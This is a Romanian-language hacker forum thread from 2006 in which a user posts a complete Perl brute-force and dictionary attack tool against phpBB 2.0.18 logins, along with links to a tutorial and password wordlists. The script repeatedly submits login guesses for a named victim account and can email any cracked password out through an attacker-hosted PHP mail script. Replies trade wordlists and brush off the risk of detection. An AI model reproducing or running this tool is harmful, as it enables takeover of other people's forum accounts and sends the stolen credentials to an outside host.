Screech Posted July 5, 2006 Report Posted July 5, 2006 Downoad tut: http://rapidshare.de/files/25014477/phpbb_...eforce.rar.htmlExploit:#!/usr/bin/perl##################################################################################################################### Title: PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool# Type: Bruteforce / Dictionary attack# New demo: http://rapidshare.de/files/13694254/phpbbbtr.avi.html (1.06 mb)# Php Email Script data: <? mail($destinataire, $objet, $contenu, "From: $expediteurrnReply-To: $expediteur"); ?># Note: Host the php script and replace the line 34 [] Php script for the email option because win32 don't support Mail::Mailer# Changelog: Bruteforce option | Starting length | Email option | More fast | Die error disabled | # Credits: Fully coded by DarkFig# Greetz: Romano [] Pgeo [] Fred [] CrackJerem [] Volcom [] Ddxs [] The truth [] And all man who like me =)####################################################################################################################use IO::Socket;use LWP::Simple;#_Utilisation_if(@ARGV < 6){print q(+---------------------------------------------------------------------------------------------------+| PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool [~_~] by DarkFig |+---------------------------------------------------------------------------------------------------+| Usage: phpbbbtr.pl <host> <path> <port> <attack> <char> <length> <victim> <log> <email> |+---------------------------------------------------------------------------------------------------+| <host> | The host where the php flaw is installed | [Ex: victim.com] || <path> | Path of the php flaw | [Ex: /vuln/] || <port> | Port of the host | [Ex: 80] || <attack> | Bruteforce[-btr] or Dictionary[-dict] | [Ex: -dict] || <char> | Bruteforce[upperalpha, loweralpha, numeric] or Dictionary file | [Ex: dico.txt] || <length> | For the bruteforce option, define a starting length | [Ex: 7] || <victim> | The victim's username | [Ex: L4m3r] || <log> | [Optional] File where you want to save the password | [Ex: results.txt] || <email> | [Optional] Email where the password will be sent | [Ex: haxor@gmail.com] |+---------------------------------------------------------------------------------------------------+);exit;}#_Configuration_$mailsite = "http://yoursite.com/mailme.php"; #Replace this value by the Url of the Php email script$shipper = "xploitdarkfigbot%40gmail.com"; #Default shipper email, xploidarkfigbot@gmail.com really exist => It work $host = $ARGV[0];$path = $ARGV[1];$port = $ARGV[2];$attack = $ARGV[3];$content = $ARGV[4];if($attack eq "-btr"){$length = $ARGV[5];$username = $ARGV[6];$results = $ARGV[7];if(!$ARGV[9]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[8];}}else {$username = $ARGV[5];$results = $ARGV[6];if(!$ARGV[7]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[7];}}$nligne = "-1";$postit = "$path"."login.php";$full = "http://"."$host"."$path";&hello;#_Hello_sub hello() {if($attack eq "-dict"){open dictionary, "<$content" || print " [-]Can't open the file.";chomp(@dico = <dictionary>);}print "n+--------------------------------------------------------+ PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool+--------------------------------------------------------+ [+] Attack: ";if($attack eq "-btr"){print "Bruteforce";}if($attack eq "-dict"){print "Dictionary";};print" [+] Target: $full [+] Port: $port [+] Username: $username+--------------------------------------------------------+";if($content eq "upperalpha"){$nligne = "A";}if($content eq "loweralpha"){$nligne = "a";}if($content eq "numeric"){$nligne = "0";}if($attack eq "-dict"){&dictio;}if($attack eq "-btr"){&generate;}}#_Bruteforce_sub generate() {$nligne x= $length;$passwordz = $nligne;print "n [~]Trying the password: $passwordz";&phpbb;}sub btrfr() {$nligne++;$passwordz = $nligne;print "n [~]Trying the password: $passwordz";&phpbb;}#_Dictionary_sub dictio() {$nligne++;$passwordz = $dico[$nligne];if($passwordz eq ""){&successfailed;}print "n [~]Trying the password: $passwordz";&phpbb;}#_Socket_sub phpbb(){while ($OK ne 1){$data = "username="."$username"."&password="."$passwordz"."&redirect=&login=Connexion";$length = length $data;my $send = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "n [-]Can't connect to the host.";print $send "POST $postit HTTP/1.1Host: $hostContent-Type: application/x-www-form-urlencodedContent-Length: $length$data";read $send, $answer, 15;close($send);if($answer =~ /HTTP/(.*?) 302/){$OK = 1;}&decision;}}#_Decision_sub decision(){if($OK ne 1){if($attack eq "-dict"){&dictio;}if($attack eq "-btr"){&btrfr;}} else {&successfailed;}}#_Success/Failed_sub successfailed(){if($OK eq 1){print "n [+]User: $usernamen [+]Password: $passwordz";}if($OK eq 0){print "n [-]User: $usernamen [-]Password: Not found";}open FILE, ">$results" || print "n [-]Can't write the file.";print FILE "+--------------------------------------------------------+ PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool+--------------------------------------------------------+ [+] Target: $full [+] Port: $port [+] Username: $username [+] Password: ";if($OK eq 1){print FILE "$passwordz";}if($OK eq 0){print FILE "Not found...";$passwordz = "Not found";}print FILE "n+--------------------------------------------------------+n";close FILE; close dictionary;#_EmailOption_if($mailoption eq 1){$fullmailurl = "$mailsite"."?expediteur="."$shipper"."&destinataire="."$email"."&objet="."[Xploit]Results for $host"."&contenu="."Target: $full"."%0D%0A"."Port: $port"."%0D%0A"."Username: $username"."%0D%0A"."Password: $passwordz";$mailpg = get($fullmailurl) || print "n [-]Can't connect to the email script hoster.n+--------------------------------------------------------+nn" and exit;print "n [+]Email sent, check your mail !n+--------------------------------------------------------+nn";} else {print "n+--------------------------------------------------------+n";}exit;}# milw0rm.com [2006-02-20][/list:u]E posibil sa mearga si pe alte versiuni, acesta e ptr. 18, dar vad ca merge si pe 19, si doar pe asta am incercat eu Quote
Thunder Posted July 5, 2006 Report Posted July 5, 2006 Da .. l-am avut mai demult si eu dar nu mia prea mers . Trebuie sa ai o lista foarte mare si buna de parole ca sa gasesasca . Acest brute-force face combinatii de usere parole . Quote
Screech Posted July 5, 2006 Author Report Posted July 5, 2006 <div class='quotetop'>QUOTE("Thunder")</div>Da .. l-am avut mai demult si eu dar nu mia prea mers . Trebuie sa ai o lista foarte mare si buna de parole ca sa gasesasca . Acest brute-force face combinatii de usere  parole .La mine da roade. Poti incerca listele pe care le folosesc si eu daca doresti, le pun acum si vi le dauhttp://rapidshare.de/files/25015632/dictio...xavier.rar.htmleu si acum am brutus deschis si folosesc tot listele astea de parole Quote
PsYKid Posted July 5, 2006 Report Posted July 5, 2006 folosind BRUTEFORCE asupra site`urilor ..puteti fi detectati extrem de rapid datorita faptului ca faceti trafic cu sacu. Quote
DANG3R Posted July 15, 2006 Report Posted July 15, 2006 si daca suntem detectati are ceva verificam securitatea Quote